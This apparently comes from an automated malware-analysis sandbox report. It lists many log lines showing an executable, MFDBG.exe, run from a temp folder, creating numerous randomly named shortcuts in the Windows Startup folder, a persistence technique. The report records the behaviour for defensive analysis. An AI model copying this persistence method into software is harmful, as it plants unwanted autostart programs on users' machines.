Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ccad92900c8c4193b607ef59847cda31.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_36614cc8e6d64b739ed5420e58158db8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b45060d654474d14b17946be679c6ff0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8b63fd18c61e45a2a69da02a77b6cae2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_512f3a3cc35b42a993273a712966b520.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f3f35018572b4e30beaf27a2130b03a6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3fc8e1dfb72b44fb97adcd47a137554c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d8abbfe4a9fb45c5925ed2162f56c03e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_de87ac04095c42828e589942136ccc83.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f1bdd8b5276240d1b3a9c14941b2a4a4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_96f9b404456a4034b18cc338a359a3e2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6c402b051017458989db30251ea42f2e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3d160cbb77e0441191ff8365d42cc8b5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0060a766c9324a82b2153384f07ad606.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7fdab65bee15467f92450d21e8942779.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_39a3b2b95c3749b3b3bbdffd453898c3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c71c1ec640d34b82b0a9ebce5fed88d6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65b9e092743e458992e1607ba654e8fb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eb72681046a24f9f9829c03d3aac6520.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_012ce6f389ed4085a8b4276b1de0490f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_304d7be656714b56af7146a46fbf0f0a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35bf748cf7ea499fb44ca7dfcc17a54a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b6b75230b3574084bc1beeff36d091e9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_602bb0cc7247407585d7f06df8a91adf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6ebe99bc9abc44598bb8ddaba8d7db14.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8c6ea1a702f7475eae226df616b7cbea.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c8a65ed8fa642c3a58dc30af99e1c2c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9430932e02d4930b86404bc83f4b01f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_54f422d4dfca4108804fc12fa4d5aaf5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_de3e1854d2944691a5455c82910efe54.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a049137838a414ca646f477d69ed65d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_814ae808355d485a958324b74e63fbb2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d85fafeab2c241fd9c3c702e4c96c281.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1b1cc846f4384af5bca984cdc801783e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6020de927f5c4828ad0c197c2eb9f2e9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea69a13e5edb4f24b924148a22950e10.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f4744d43c07e4ddcbe6f5b2b1f247a6f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ec0eabfa906046c2b68bc47d466452c2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b69fea6e725640ca93786cbfbde484ec.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b912ce81b17f4fdbbe1204856cbf594d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd3f913feeca4e3ba16a90670b06fff0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6958a62d4996438c9bfb131cd3f93324.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dac6ab3ed6064ffcaf5c3bf08e34bcea.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b793847fb8b4fbabf88bbb3854fa309.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4369fa10e8b428fa840f415ebf3463a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5ecb3761cf3e44ecb380bcea4c22761a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0939f2254e64eecbdb19bc061e67814.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0841af81df5c4789999d286058831f3c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d77e03ddfacf4ffea428a7fc9b2ad85c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce29066f0ed54865b64426eec94f8634.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0664cb379dc449479b8620c0767b2d4b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_402602c9ae434363a1c93dd056c84e48.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f67ede159eb418fa1efd2dc875792ff.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa7b184c69b2407fad6277bf243f695a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c9b8ae6421564651baaef2547305162e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_923de965825044c7ae03300916e3fca5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e0a03534ff00463da01f84cea86e0340.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_06e8928a08014fc8941ae999d623dfba.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_41be732e3ff840e5a8ceb0c390846446.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_804f575baffa4f8e828a189ec654bffa.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa1a8c50c52249ab96404829fbbaa183.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3741afc35b7b41b7a4b91f803debe09e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef280b3dae0646fc888ea035120a1401.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fade9f44c9f1475aacfc1a78cfeceb85.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c189cfde674c43c9b18d8b5c10799a6a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea412a937c8f4345801c5e0a1d9936c3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b359967855974c4796bd26b1fe4caac6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b81795b810b74b2b87cd7b0d4130c8a7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdaa5df16e174ed788b6e68d27d93f83.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f633019f85ca46109e20b0b3dce4ea3d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_235dc46f6525492197c1cc3b643bffd7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2c265907d6942159b1a690da3ea182e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b91a9735c3f5410586fc3f331af33a4a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d21f8609c5d4b54be15006a40ae8442.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_497c430486a94d04b03b7304f2c01324.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3415c32e5e3845419a4cde46e2ad4d82.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_12979304079d4ea0b08e9e4c8d89e5ad.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9e6c00c7b45d448781623dbe3dcb1fba.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe3be04df2b74227bfa649ba2f1c8d90.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b70242fd6cc145e09ad93eea3c722040.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56be2fc2e2824b82a4d1aa2e4f825d4b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6cdc4e5d68ef4987bf084c0632fc6fd8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6b3292ee4b54499981f534d8c68fa072.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_896a76fe42514262a17db6edd33a12ea.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5cbbb66582874b91bfbce5a64643adc9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3dd4ead8572f43ecbb102396059fc660.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db3e027a419840378f1eed22d7ea17aa.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_03ecb2de113c4c7cb2450ed2ce2d928a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_05e877f68fb74312b266fadde37b2085.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c0d7262d409643ada551807261f2cb63.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6fa9a2f8f5dc4b50bddc9a6e864a5532.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e8f60b81e28d4100b82a50472f05d494.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66cab4256b274cd38e0e691b91c40640.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_02f45764ad8240deacb03df570eda525.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef4f68e4da2a4f3c9d407c41914fbfbc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3fa8010d51bb4430a281d06cc56b8171.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3b2db4b2cc4d48148941852fb26f47a9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_395b0318016f4a048cbd60eebf29a8f9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b9e66ef9e3f48a6b486466896767748.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd72516962ce4c939f349651897929ad.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cf50bf4a32bf4279a49e744134461b73.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a848d51f6d84d408db3130c22ea2168.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1fa0825acab7460fa565ca5dd06abe42.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4d8eaa7ef6e4f3caa982e4dcd949772.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ccbdc2a47784fbea67c714995b9e370.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a77d54eb7774e9892478746a0de0c0a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3af0013796414331afed6559190da506.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_01faa85abb6d4b3fbc92d7bb205ad21c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be680303084c4489ba5abc953d023483.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_51b0be070fa74ba7a29d266c7559ded3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7cc45119b70c4a7cb619b814a6465d43.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e0940e3ad6d54c9798ce1b470d503ef8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e436e92b18fd42119ac65f8b20f4cedb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcf8d790abbc41a78602a0d98dcba51a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_34f7dca7f57b4604ab71549ddd4ccaac.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_62d7212e4d4d430aaab8a85144ef8964.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1ba56bbbd55421e877d43b1043c0b9c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f0ef2c9bfc054c6d9c6d9c3d49f65a71.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_faba8bbb391a42e0a9e7b81a7d967de5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d49905921b1c437fb0166246505ce1fb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd25dde6927f41fc8d091ec61d7a4a1c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8372a0710ab940ab8228fd1586efad41.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8352761d2d7f49a8ab8b5c14c261829c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1018111a58b4311852c93aa20af5b5d.lnk	Jump to behavior
